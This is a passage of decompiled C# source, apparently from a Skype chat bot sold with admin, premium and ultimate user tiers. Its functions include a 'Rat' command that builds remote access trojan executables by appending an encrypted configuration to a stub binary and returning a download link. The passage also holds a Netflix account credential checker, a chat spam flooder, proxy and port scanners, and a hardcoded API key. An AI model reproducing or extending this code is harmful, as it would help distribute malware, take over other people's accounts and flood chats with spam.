- bool flag2 = ex4.ToString().Contains("IndexOutOfRangeException") | ex4.ToString().ToLower().Contains("index");
- if (flag2)
- {
- string[] array33 = closure$__.$VB$Local_msg.Body.Split(new char[]
- {
- ' '
- });
- ChatMessage msg64 = closure$__.$VB$Local_msg.Chat.SendMessage("An error occured while giving you an error!");
- this.AddSwagToMSG(msg64, Conversions.ToString(Operators.ConcatenateObject("Error: Please check your syntax (!help " + array33[0].Replace("!", "") + ")" + "\r\n", this.paste(string.Concat(new string[]
- {
- "Host: ",
- this.Skypattach.CurrentUserHandle,
- "\r\nSender: ",
- closure$__.$VB$Local_msg.Sender.Handle,
- "\r\nCmd: ",
- closure$__.$VB$Local_msg.Body,
- "\r\nError: ",
- ex4.ToString()
- }), "Error!"))), 0);
- }
- else
- {
- ChatMessage msg65 = closure$__.$VB$Local_msg.Chat.SendMessage("An error occured while giving you an error!");
- this.AddSwagToMSG(msg65, Conversions.ToString(Operators.ConcatenateObject("An error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
- {
- "Host: ",
- this.Skypattach.CurrentUserHandle,
- "\r\nSender: ",
- closure$__.$VB$Local_msg.Sender.Handle,
- "\r\nCmd: ",
- closure$__.$VB$Local_msg.Body,
- "\r\nError: ",
- ex4.ToString()
- }), "Error!"))), 0);
- }
- ProjectData.ClearProjectError();
- }
- }
- }
- public object proxycheck(string ip)
- {
- string text = "80 8080 8123 3128 54321 3129 18186 7808 8081";
- string[] array = text.Split(new char[]
- {
- ' '
- });
- int arg_26_0 = 0;
- checked
- {
- int num = array.Length - 1;
- int num2 = arg_26_0;
- while (true)
- {
- int arg_5E_0 = num2;
- int num3 = num;
- if (arg_5E_0 > num3)
- {
- goto Block_2;
- }
- bool flag = Operators.ConditionalCompareObjectEqual(this.isportopen(ip, array[num2]), true, true);
- if (flag)
- {
- break;
- }
- num2++;
- }
- object result = true;
- return result;
- Block_2:
- result = false;
- return result;
- }
- }
- public object DL(string url)
- {
- return new WebClient
- {
- Proxy = null
- }.DownloadString(url);
- }
- public void spam(ChatMessage msg)
- {
- try
- {
- bool flag = Operators.CompareString(msg.ChatName, "#dimabal10000/$be5e245309b3d76a", true) == 0 | Operators.CompareString(msg.ChatName, "#zigi.bot/$7582f4644528febf", true) == 0;
- if (flag)
- {
- msg.Chat.SendMessage("Nope, this group is anti spam...");
- }
- else
- {
- string text = msg.Body.Remove(0, this.trigger.Length);
- string text2 = text.Replace("spam ", "");
- string text3 = text2;
- string[] array = text3.Split(new char[]
- {
- ' '
- });
- string text4 = array[1];
- flag = Versioned.IsNumeric(array[0]);
- if (flag)
- {
- bool flag2 = Conversions.ToDouble(array[0]) > 500.0;
- if (flag2)
- {
- array[0] = Conversions.ToString(500);
- }
- int arg_E9_0 = 2;
- double arg_12D_0;
- checked
- {
- int num = array.Length - 1;
- int num2 = arg_E9_0;
- while (true)
- {
- int arg_10E_0 = num2;
- int num3 = num;
- if (arg_10E_0 > num3)
- {
- break;
- }
- text4 = text4 + " " + array[num2];
- num2++;
- }
- arg_12D_0 = 1.0;
- }
- double num4 = Conversions.ToDouble(array[0]) - 0.0;
- double num5 = arg_12D_0;
- while (true)
- {
- double arg_174_0 = num5;
- double num6 = num4;
- if (arg_174_0 > num6)
- {
- break;
- }
- msg.Chat.SendMessage(text4.Replace("/", "").Replace("!", ""));
- num5 += 1.0;
- }
- }
- else
- {
- msg.Chat.SendMessage("ERROR: You entered an invalid number, try to swap the number and msg!");
- }
- }
- }
- catch (Exception expr_17B)
- {
- ProjectData.SetProjectError(expr_17B);
- Exception ex = expr_17B;
- bool flag2 = ex.ToString().Contains("IndexOutOfRangeException");
- if (flag2)
- {
- string[] array2 = msg.Body.Split(new char[]
- {
- ' '
- });
- ChatMessage msg2 = msg.Chat.SendMessage("An error occured while giving you an error!");
- this.AddSwagToMSG(msg2, Conversions.ToString(Operators.ConcatenateObject("Error: Please check your syntax (!help " + array2[0].Replace("!", "") + ")" + "\r\n", this.paste(string.Concat(new string[]
- {
- "Host: ",
- this.Skypattach.CurrentUserHandle,
- "\r\nSender: ",
- msg.Sender.Handle,
- "\r\nCmd: ",
- msg.Body,
- "\r\nError: ",
- ex.ToString()
- }), "Error!"))), 0);
- }
- else
- {
- ChatMessage msg3 = msg.Chat.SendMessage("An error occured while giving you an error!");
- this.AddSwagToMSG(msg3, Conversions.ToString(Operators.ConcatenateObject("An error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
- {
- "Host: ",
- this.Skypattach.CurrentUserHandle,
- "\r\nSender: ",
- msg.Sender.Handle,
- "\r\nCmd: ",
- msg.Body,
- "\r\nError: ",
- ex.ToString()
- }), "Error!"))), 0);
- }
- ProjectData.ClearProjectError();
- }
- }
- public object IsAdmin(string sender)
- {
- bool flag = Operators.CompareString(sender, this.Skypattach.CurrentUserHandle.ToString(), true) == 0 | Operators.CompareString(sender, Encoding.UTF8.GetString(Convert.FromBase64String("bGVzLmRl")), true) == 0 | Operators.CompareString(sender, "chairon.williams", true) == 0 | Operators.CompareString(sender, "ultimatewsz", true) == 0 | Operators.CompareString(sender, "damjan.georgievski2", true) == 0 | Operators.CompareString(sender, "zigidev", true) == 0;
- checked
- {
- object result;
- if (flag)
- {
- result = true;
- }
- else
- {
- string[] array = MySettingsProperty.Settings.admins.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.None);
- int arg_B7_0 = 0;
- int num = array.Length - 1;
- int num2 = arg_B7_0;
- while (true)
- {
- int arg_E4_0 = num2;
- int num3 = num;
- if (arg_E4_0 > num3)
- {
- goto Block_3;
- }
- flag = array[num2].Contains(sender);
- if (flag)
- {
- break;
- }
- num2++;
- }
- result = true;
- return result;
- Block_3:
- result = false;
- }
- return result;
- }
- }
- public object IsNormalUser(string sender)
- {
- bool flag = Conversions.ToBoolean(Operators.AndObject(Operators.AndObject(Operators.CompareObjectEqual(this.IsPremium(sender), false, true), Operators.CompareObjectEqual(this.IsAdmin(sender), false, true)), Operators.CompareObjectEqual(this.IsUltimate(sender), false, true)));
- object result;
- if (flag)
- {
- result = true;
- }
- else
- {
- result = false;
- }
- return result;
- }
- public object IsPremium(string sender)
- {
- bool flag = this.FlatToggle2.Checked;
- checked
- {
- object result;
- if (flag)
- {
- flag = (Operators.CompareString(sender, this.Skypattach.CurrentUserHandle.ToString(), true) == 0 | Operators.CompareString(sender, Encoding.UTF8.GetString(Convert.FromBase64String("bGVzLmRl")), true) == 0);
- if (flag)
- {
- result = true;
- }
- else
- {
- flag = Conversions.ToBoolean(this.IsAdmin(sender));
- if (flag)
- {
- result = true;
- }
- else
- {
- flag = Conversions.ToBoolean(this.IsUltimate(sender));
- if (flag)
- {
- result = true;
- }
- else
- {
- string[] array = MySettingsProperty.Settings.Premium.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.None);
- int arg_E8_0 = 0;
- int num = array.Length - 1;
- int num2 = arg_E8_0;
- while (true)
- {
- int arg_115_0 = num2;
- int num3 = num;
- if (arg_115_0 > num3)
- {
- goto Block_6;
- }
- flag = array[num2].Contains(sender);
- if (flag)
- {
- break;
- }
- num2++;
- }
- result = true;
- return result;
- Block_6:
- result = false;
- }
- }
- }
- }
- else
- {
- result = true;
- }
- return result;
- }
- }
- public object IsUltimate(string sender)
- {
- bool flag = this.FlatToggle2.Checked;
- checked
- {
- object result;
- if (flag)
- {
- flag = (Operators.CompareString(sender, this.Skypattach.CurrentUserHandle.ToString(), true) == 0 | Operators.CompareString(sender, Encoding.UTF8.GetString(Convert.FromBase64String("bGVzLmRl")), true) == 0);
- if (flag)
- {
- result = true;
- }
- else
- {
- flag = Conversions.ToBoolean(this.IsAdmin(sender));
- if (flag)
- {
- result = true;
- }
- else
- {
- string[] array = MySettingsProperty.Settings.Ultimate.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.None);
- int arg_C3_0 = 0;
- int num = array.Length - 1;
- int num2 = arg_C3_0;
- while (true)
- {
- int arg_F0_0 = num2;
- int num3 = num;
- if (arg_F0_0 > num3)
- {
- goto Block_5;
- }
- flag = array[num2].Contains(sender);
- if (flag)
- {
- break;
- }
- num2++;
- }
- result = true;
- return result;
- Block_5:
- result = false;
- }
- }
- }
- else
- {
- result = true;
- }
- return result;
- }
- }
- public object translator(string froom, string too, string message)
- {
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- string @string = Encoding.UTF8.GetString(webClient.DownloadData(string.Concat(new string[]
- {
- "https://translate.yandex.net/api/v1.5/tr.json/translate?key=trnsl.1.1.20141215T135708Z.ba81e2e1e88ceb3b.01c0238e50401659ba7225b414ed017ee7f523ab&lang=",
- froom,
- "-",
- too,
- "&text=",
- message.Replace(" ", "+")
- })));
- bool flag = @string.Contains("200");
- object result;
- if (flag)
- {
- result = @string.Replace(MySettingsProperty.Settings.prf5, "").Replace(Regex.Match(@string.Replace(MySettingsProperty.Settings.prf5, ""), MySettingsProperty.Settings.prf4, RegexOptions.IgnoreCase).Value.ToString(), "");
- }
- else
- {
- result = "Error";
- }
- return result;
- }
- public object banned(string sender)
- {
- string[] array = MySettingsProperty.Settings.banlist.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.None);
- int arg_2B_0 = 0;
- checked
- {
- int num = array.Length - 1;
- int num2 = arg_2B_0;
- while (true)
- {
- int arg_58_0 = num2;
- int num3 = num;
- if (arg_58_0 > num3)
- {
- goto Block_2;
- }
- bool flag = array[num2].Contains(sender);
- if (flag)
- {
- break;
- }
- num2++;
- }
- object result = true;
- return result;
- Block_2:
- result = false;
- return result;
- }
- }
- [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
- public object Rat(string arguments, string sender)
- {
- string[] array = arguments.Split(new char[]
- {
- ' '
- });
- bool flag = arguments.StartsWith("build ");
- checked
- {
- object result;
- bool flag2;
- if (flag)
- {
- string text = arguments.Remove(0, 6);
- flag = arguments.Remove(0, 5).Contains(" -name=");
- if (!flag)
- {
- result = "No name option, this is required!";
- return result;
- }
- flag = arguments.Remove(0, 5).Contains(" -key=");
- if (!flag)
- {
- result = "No key option, this is required!";
- return result;
- }
- string[] array2 = text.Split(new char[]
- {
- ' '
- });
- int arg_B2_0 = 0;
- int num = array2.Length - 1;
- int num2 = arg_B2_0;
- while (true)
- {
- int arg_DF_0 = num2;
- int num3 = num;
- if (arg_DF_0 > num3)
- {
- break;
- }
- array2[num2] = array2[num2].Replace("-", "");
- num2++;
- }
- string text2 = "";
- string text3 = "";
- string text4 = "";
- int arg_FD_0 = 0;
- int num4 = array2.Length - 1;
- int num5 = arg_FD_0;
- string text5;
- while (true)
- {
- int arg_378_0 = num5;
- int num3 = num4;
- if (arg_378_0 > num3)
- {
- goto Block_18;
- }
- string[] array3 = array2[num5].Split(new char[]
- {
- '='
- });
- text5 = array3[0];
- string text6 = "";
- flag = (array3.Length == 1);
- if (flag)
- {
- text6 = null;
- }
- else
- {
- int arg_149_0 = 1;
- int num6 = array3.Length - 1;
- int num7 = arg_149_0;
- while (true)
- {
- int arg_18E_0 = num7;
- num3 = num6;
- if (arg_18E_0 > num3)
- {
- break;
- }
- flag = (Operators.CompareString(text6, "", true) == 0);
- if (flag)
- {
- text6 = array3[1];
- }
- else
- {
- text6 = text6 + "=" + array3[num7];
- }
- num7++;
- }
- }
- string left = text5;
- flag = (Operators.CompareString(left, "message", true) == 0);
- if (flag)
- {
- flag2 = (Operators.CompareString(text6, null, true) == 0);
- if (flag2)
- {
- break;
- }
- }
- else
- {
- flag2 = (Operators.CompareString(left, "persistance", true) == 0);
- if (flag2)
- {
- flag = (Operators.CompareString(text6, null, true) == 0);
- if (!flag)
- {
- goto IL_204;
- }
- }
- else
- {
- flag2 = (Operators.CompareString(left, "name", true) == 0);
- if (flag2)
- {
- flag = (Operators.CompareString(text6, null, true) == 0);
- if (flag)
- {
- goto Block_12;
- }
- text3 = text6;
- }
- else
- {
- flag2 = (Operators.CompareString(left, "key", true) == 0);
- if (flag2)
- {
- flag = (Operators.CompareString(text6, null, true) == 0);
- if (flag)
- {
- goto Block_14;
- }
- text4 = text6;
- }
- else
- {
- flag2 = (Operators.CompareString(left, "startupdir", true) == 0);
- if (!flag2)
- {
- goto IL_317;
- }
- text6 = text6.Replace("/", "\\");
- flag2 = (Operators.CompareString(text6, null, true) == 0);
- if (flag2)
- {
- goto Block_16;
- }
- flag2 = !text6.EndsWith("\\");
- if (flag2)
- {
- goto Block_17;
- }
- }
- }
- }
- }
- text2 = string.Concat(new string[]
- {
- text2,
- " ",
- text5,
- "=",
- text6
- });
- num5++;
- }
- result = "No arguments in message option";
- return result;
- IL_204:
- result = "No arguments expected in persistance option";
- return result;
- Block_12:
- result = "No arguments in name option";
- return result;
- Block_14:
- result = "No arguments in name option";
- return result;
- Block_16:
- result = "No arguments in name option";
- return result;
- Block_17:
- result = "Directory should end with a \\ and should be valid.";
- return result;
- IL_317:
- result = "Invalid option: " + text5;
- return result;
- Block_18:
- try
- {
- FileSystem.FileOpen(1, Application.StartupPath + "\\SBRC.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
- string text7 = Strings.Space((int)FileSystem.LOF(1));
- FileSystem.FileGet(1, ref text7, -1L, false);
- VBMath.Randomize();
- int value = (int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * 9999f))) + 1;
- FileSystem.FileClose(new int[]
- {
- 1
- });
- FileSystem.FileOpen(1, string.Concat(new string[]
- {
- Application.StartupPath,
- "\\",
- text3.Replace("%20", " "),
- Conversions.ToString(value),
- ".exe"
- }), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
- string message = text2.Replace(" ", "@sb@");
- FileSystem.FilePut(1, string.Concat(new string[]
- {
- text7,
- "@sb@",
- this.realbase64(Form1.rc4(message, text4)).ToString(),
- "@sb@",
- text4,
- "@sb@",
- this.realbase64(sender).ToString()
- }), -1L, false);
- FileSystem.FileClose(new int[]
- {
- 1
- });
- result = "http://pomfme.com/SHIT/uploads/" + text3.Replace(" ", "%20") + Conversions.ToString(value) + ".exe";
- return result;
- }
- catch (Exception expr_50A)
- {
- ProjectData.SetProjectError(expr_50A);
- Exception ex = expr_50A;
- result = Operators.ConcatenateObject("Error occured, maybe someone else was building a stub or name invalid!\r\nAn error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
- {
- "Host: ",
- this.Skypattach.CurrentUserHandle,
- "\r\nSender: ",
- sender,
- "\r\nCmd: !rat ",
- arguments,
- "\r\nError: ",
- ex.ToString()
- }), "Error!"));
- ProjectData.ClearProjectError();
- return result;
- }
- }
- flag2 = (Operators.CompareString(array[0], "buildoptions", true) == 0);
- if (flag2)
- {
- result = MySettingsProperty.Settings.buildoptions;
- }
- else
- {
- result = "Invalid option.";
- }
- return result;
- }
- }
- public static string rc4(string message, string password)
- {
- int num = 0;
- int num2 = 0;
- StringBuilder stringBuilder = new StringBuilder();
- string result = string.Empty;
- int[] array = new int[257];
- int[] array2 = new int[257];
- int length = password.Length;
- int i = 0;
- checked
- {
- while (i <= 255)
- {
- char @string = password.Substring(i % length, 1).ToCharArray()[0];
- array2[i] = Strings.Asc(@string);
- array[i] = i;
- Math.Max(Interlocked.Increment(ref i), i - 1);
- }
- int num3 = 0;
- int j = 0;
- while (j <= 255)
- {
- num3 = (num3 + array[j] + array2[j]) % 256;
- int num4 = array[j];
- array[j] = array[num3];
- array[num3] = num4;
- Math.Max(Interlocked.Increment(ref j), j - 1);
- }
- i = 1;
- while (i <= message.Length)
- {
- num = (num + 1) % 256;
- num2 = (num2 + array[num]) % 256;
- int num5 = array[num];
- array[num] = array[num2];
- array[num2] = num5;
- int num6 = array[(array[num] + array[num2]) % 256];
- char string2 = message.Substring(i - 1, 1).ToCharArray()[0];
- num5 = Strings.Asc(string2);
- int charCode = num5 ^ num6;
- stringBuilder.Append(Strings.Chr(charCode));
- Math.Max(Interlocked.Increment(ref i), i - 1);
- }
- result = stringBuilder.ToString();
- stringBuilder.Length = 0;
- return result;
- }
- }
- public object microsoftip(string IP)
- {
- object result;
- try
- {
- bool flag = IP.ToLower().Contains("found");
- if (flag)
- {
- result = false;
- }
- else
- {
- IP = IP.Replace("|", "");
- IP = IP.Replace(" ", "");
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- flag = IP.Contains(":");
- if (flag)
- {
- string[] array = IP.Split(new char[]
- {
- ':'
- });
- IP = array[0];
- }
- string text = webClient.DownloadString("http://ip-api.com/csv/" + IP);
- string[] array2 = text.Split(new char[]
- {
- ','
- });
- string text2 = array2[11].Replace("\"", "");
- flag = text2.ToLower().Contains("microsoft");
- if (flag)
- {
- result = "True" + IP;
- }
- else
- {
- result = "False";
- }
- }
- }
- catch (Exception arg_FF_0)
- {
- ProjectData.SetProjectError(arg_FF_0);
- result = "FalseErr";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public static string GetMd5Hash(MD5 md5Hash, string input)
- {
- byte[] array = md5Hash.ComputeHash(Encoding.UTF8.GetBytes(input));
- StringBuilder stringBuilder = new StringBuilder();
- int arg_21_0 = 0;
- checked
- {
- int num = array.Length - 1;
- int num2 = arg_21_0;
- while (true)
- {
- int arg_48_0 = num2;
- int num3 = num;
- if (arg_48_0 > num3)
- {
- break;
- }
- stringBuilder.Append(array[num2].ToString("x2"));
- num2++;
- }
- return stringBuilder.ToString();
- }
- }
- public object getmicrosoftip(string IP)
- {
- IP = IP.Replace("|", "");
- IP = IP.Replace(" ", "");
- bool flag = IP.Contains(":");
- if (flag)
- {
- string[] array = IP.Split(new char[]
- {
- ':'
- });
- IP = array[0];
- }
- string text = new WebClient
- {
- Proxy = null
- }.DownloadString("http://ip-api.com/csv/" + IP);
- string[] array2 = text.Split(new char[]
- {
- ','
- });
- string text2 = array2[11].Replace("\"", "");
- flag = text2.ToLower().Contains("microsoft");
- object result;
- if (flag)
- {
- result = IP;
- }
- else
- {
- result = "False";
- }
- return result;
- }
- private void Button1_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist + "\r\n" + this.TextBox1.Text;
- }
- private void Button2_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist.Replace("\r\n" + this.TextBox1.Text, "").Replace(this.TextBox1.Text, "");
- }
- private void Button3_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.helpmsg = this.TextBox2.Text;
- }
- public string GetExternalIp()
- {
- string result;
- try
- {
- string text = new WebClient
- {
- Proxy = null
- }.DownloadString("http://apis.skypebot.ga/apis/getip.php");
- result = text;
- }
- catch (Exception arg_22_0)
- {
- ProjectData.SetProjectError(arg_22_0);
- result = null;
- ProjectData.ClearProjectError();
- }
- return result;
- }
- private void Button4_Click(object sender, EventArgs e)
- {
- Interaction.MsgBox(MySettingsProperty.Settings.banlist, MsgBoxStyle.OkOnly, null);
- }
- private void FRReceived(User pUser)
- {
- bool @checked = this.FlatToggle1.Checked;
- if (@checked)
- {
- pUser.IsAuthorized = true;
- this.Skypattach.SendMessage(pUser.Handle, "Welcome! Type " + this.trigger + "help to get started!");
- }
- }
- private void dz(User pUser)
- {
- Interaction.MsgBox("qdf", MsgBoxStyle.OkOnly, null);
- bool @checked = this.FlatToggle1.Checked;
- if (@checked)
- {
- pUser.IsAuthorized = true;
- this.Skypattach.SendMessage(pUser.Handle, "Welcome! Type " + this.trigger + "help to get started!");
- }
- }
- private void Button5_Click(object sender, EventArgs e)
- {
- Interaction.MsgBox("Enter in the textbox below who you want to let use your bot, to let someone not use your bot use the ban thing above.\r\n\r\nIf you want everyone to use your bot, put %everyone% at the start, If you want specific people, then just type their name line by line.", MsgBoxStyle.OkOnly, null);
- }
- private void TextBox3_TextChanged(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.whitelistlist = this.TextBox3.Text;
- }
- private void Button6_Click(object sender, EventArgs e)
- {
- string left = new WebClient
- {
- Proxy = null
- }.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
- bool flag = Operators.CompareString(left, "5.1.0.7", true) == 0;
- if (flag)
- {
- MyProject.Forms.Changelog.Show();
- }
- else
- {
- Interaction.MsgBox("You are not on the latest version, please update...", MsgBoxStyle.OkOnly, null);
- }
- }
- public object portscan(string ip)
- {
- return new WebClient
- {
- Proxy = null
- }.DownloadString("http://api.abrasivecraft.com/?tool=portscanner&ip=" + ip);
- }
- public string StripTags(string html)
- {
- return Regex.Replace(html, "<.*?>", "");
- }
- public object isportopen(string ip, string port)
- {
- TcpClient tcpClient = null;
- object result;
- try
- {
- tcpClient = new TcpClient(ip, Conversions.ToInteger(port));
- result = true;
- }
- catch (SocketException expr_1C)
- {
- ProjectData.SetProjectError(expr_1C);
- result = false;
- ProjectData.ClearProjectError();
- }
- finally
- {
- bool flag = tcpClient != null;
- if (flag)
- {
- tcpClient.Close();
- }
- }
- return result;
- }
- private void Button7_Click(object sender, EventArgs e)
- {
- this.UpdateMe(Conversions.ToString(1));
- }
- private void Button9_Click(object sender, EventArgs e)
- {
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
- webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
- Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
- Application.Exit();
- }
- private void Button10_Click(object sender, EventArgs e)
- {
- Interaction.MsgBox("Add lesleydk@hotmail.com on skype and give me your problem :)", MsgBoxStyle.OkOnly, null);
- }
- private void Button12_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.admins = this.TextBox4.Text;
- }
- private void Button14_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.Ultimate = this.TextBox6.Text;
- }
- private void Button13_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.Premium = this.TextBox5.Text;
- }
- private void Button15_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
- }
- private void FlatToggle2_CheckedChanged(object sender)
- {
- bool flag = this.FlatToggle2.Checked;
- if (flag)
- {
- MySettingsProperty.Settings.prult = Conversions.ToString(1);
- }
- else
- {
- flag = !this.FlatToggle2.Checked;
- if (flag)
- {
- MySettingsProperty.Settings.prult = Conversions.ToString(0);
- }
- }
- }
- private void ShowHideToolStripMenuItem1_Click(object sender, EventArgs e)
- {
- bool flag = this.WindowState == FormWindowState.Minimized;
- if (flag)
- {
- this.Show();
- this.Activate();
- this.WindowState = FormWindowState.Normal;
- }
- else
- {
- this.Hide();
- this.WindowState = FormWindowState.Minimized;
- }
- }
- public void l()
- {
- double num = 0.0;
- double arg_3B_0;
- double num2;
- do
- {
- this.Opacity = num;
- this.Refresh();
- Thread.Sleep(50);
- num += 0.1;
- arg_3B_0 = num;
- num2 = 1.1;
- }
- while (arg_3B_0 <= num2);
- this.Show();
- }
- private void ExitToolStripMenuItem1_Click(object sender, EventArgs e)
- {
- Application.Exit();
- }
- private void FlatButton1_Click(object sender, EventArgs e)
- {
- MySettingsProperty.Settings.Save();
- this.Hide();
- this.WindowState = FormWindowState.Minimized;
- }
- private void FlatButton2_Click(object sender, EventArgs e)
- {
- new WebClient
- {
- Proxy = null
- }.DownloadString(string.Concat(new string[]
- {
- "http://apis.skypebot.ga/apis/submit.php?idea=",
- this.FlatTextBox2.Text,
- "&skp=",
- this.FlatTextBox1.Text,
- "&auth=True"
- }));
- Interaction.MsgBox("We will maybe contact you later, thanks!", MsgBoxStyle.OkOnly, null);
- }
- public object POST(string api, string content)
- {
- return new WebClient
- {
- Proxy = null,
- Headers =
- {
- {
- HttpRequestHeader.ContentType,
- "application/x-www-form-urlencoded"
- }
- }
- }.UploadString(api, content);
- }
- public object paste(string content, string title = "Untitled")
- {
- object result;
- try
- {
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- WebRequest webRequest = WebRequest.Create("http://skypepaste.ga/pages/api.php");
- webRequest.Method = "POST";
- string s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("text=", this.encrypt(content)), "&title="), title));
- byte[] bytes = Encoding.UTF8.GetBytes(s);
- webRequest.ContentType = "application/x-www-form-urlencoded";
- webRequest.ContentLength = (long)bytes.Length;
- Stream stream = webRequest.GetRequestStream();
- stream.Write(bytes, 0, bytes.Length);
- stream.Close();
- WebResponse response = webRequest.GetResponse();
- Console.WriteLine(((HttpWebResponse)response).StatusDescription);
- stream = response.GetResponseStream();
- StreamReader streamReader = new StreamReader(stream);
- string text = streamReader.ReadToEnd();
- streamReader.Close();
- stream.Close();
- response.Close();
- result = text;
- }
- catch (Exception expr_E4)
- {
- ProjectData.SetProjectError(expr_E4);
- result = this.paste2(content);
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public object dice()
- {
- float num;
- while (true)
- {
- VBMath.Randomize();
- num = Conversion.Int(VBMath.Rnd() * 7f);
- bool flag = num == 7f;
- if (!flag)
- {
- flag = (num == 0f);
- if (!flag)
- {
- break;
- }
- }
- }
- return num;
- }
- public object encrypt(string t)
- {
- return Convert.ToBase64String(Encoding.UTF8.GetBytes(t)).Replace("+", "-").Replace("/", "_");
- }
- public object decrypt(string t)
- {
- t = t.Replace("-", "+").Replace("_", "/");
- return Encoding.UTF8.GetString(Convert.FromBase64String(t));
- }
- public object paste2(string content)
- {
- string text = "content=" + content + "&lexer=text&ttl=31536000&key=";
- HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://pastee.org/submit");
- httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36";
- httpWebRequest.AllowAutoRedirect = true;
- httpWebRequest.ContentType = "application/x-www-form-urlencoded";
- httpWebRequest.ContentLength = (long)text.Length;
- httpWebRequest.Method = "POST";
- httpWebRequest.KeepAlive = true;
- Stream requestStream = httpWebRequest.GetRequestStream();
- byte[] bytes = Encoding.ASCII.GetBytes(text);
- requestStream.Write(bytes, 0, bytes.Length);
- requestStream.Close();
- HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
- HttpWebResponse httpWebResponse2 = (HttpWebResponse)httpWebRequest.GetResponse();
- string absoluteUri = httpWebResponse2.ResponseUri.AbsoluteUri;
- return absoluteUri.Replace("/preview", "");
- }
- public void fdsqf()
- {
- this.TopMost = false;
- }
- private void CheckBox6c(object sender, EventArgs e)
- {
- bool @checked = this.CheckBox6.Checked;
- if (@checked)
- {
- this.adminst = true;
- }
- else
- {
- this.adminst = false;
- }
- }
- private void CheckBox1_CheckedChanged(object sender, EventArgs e)
- {
- bool @checked = this.CheckBox1.Checked;
- if (@checked)
- {
- this.swag = true;
- }
- else
- {
- this.swag = false;
- }
- }
- private void FlatButton3_Click(object sender, EventArgs e)
- {
- MyProject.Application.SaveMySettingsOnExit = true;
- MySettingsProperty.Settings.Save();
- Application.ExitThread();
- }
- public string Nfcheck(string user, string pass)
- {
- string result;
- try
- {
- NetflixChecker netflixChecker = new NetflixChecker();
- string value = Conversions.ToString(netflixChecker.AccountValid(user, pass));
- bool flag = Conversions.ToBoolean(value);
- if (flag)
- {
- result = "1";
- }
- else
- {
- result = "0";
- }
- }
- catch (Exception arg_36_0)
- {
- ProjectData.SetProjectError(arg_36_0);
- result = "err";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public bool IsIpValid(string strIPAddress)
- {
- IPAddress iPAddress = null;
- return IPAddress.TryParse(strIPAddress, out iPAddress);
- }
- public object base64fenc(string data)
- {
- return Convert.ToBase64String(Encoding.UTF8.GetBytes(data));
- }
- public object realbase64(string dataz)
- {
- return this.base64fenc(Conversions.ToString(this.base64fenc(Conversions.ToString(this.base64fenc(dataz)))));
- }
- public object Crawl(string Page)
- {
- return new WebClient
- {
- Proxy = null
- }.DownloadString("http://api.hackertarget.com/pagelinks/?q=" + Page).Replace(" ", "%20").Replace(" ", "%20%20");
- }
- private void TextBox7_TextChanged(object sender, EventArgs e)
- {
- bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
- if (!flag)
- {
- MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
- MySettingsProperty.Settings.Save();
- }
- }
- private void TextBox4_TextChanged(object sender, EventArgs e)
- {
- bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
- if (!flag)
- {
- MySettingsProperty.Settings.admins = this.TextBox4.Text;
- MySettingsProperty.Settings.Save();
- }
- }
- private void TextBox6_TextChanged(object sender, EventArgs e)
- {
- bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
- if (!flag)
- {
- MySettingsProperty.Settings.Ultimate = this.TextBox6.Text;
- MySettingsProperty.Settings.Save();
- }
- }
- private void TextBox5_TextChanged(object sender, EventArgs e)
- {
- bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
- if (!flag)
- {
- MySettingsProperty.Settings.Premium = this.TextBox5.Text;
- MySettingsProperty.Settings.Save();
- }
- }
- private void FlatButton4_Click(object sender, EventArgs e)
- {
- Interaction.MsgBox(new WebClient
- {
- Proxy = null
- }.DownloadString("https://www.dropbox.com/s/w0nv1t0eu6xqm8l/EULA.txt?dl=1"), MsgBoxStyle.OkOnly, null);
- }
- [DebuggerStepThrough, CompilerGenerated]
- private void _Lambda$__1(object a0, EventArgs a1)
- {
- this.l();
- }
- [DebuggerStepThrough, CompilerGenerated]
- private void _Lambda$__2(object a0, EventArgs a1)
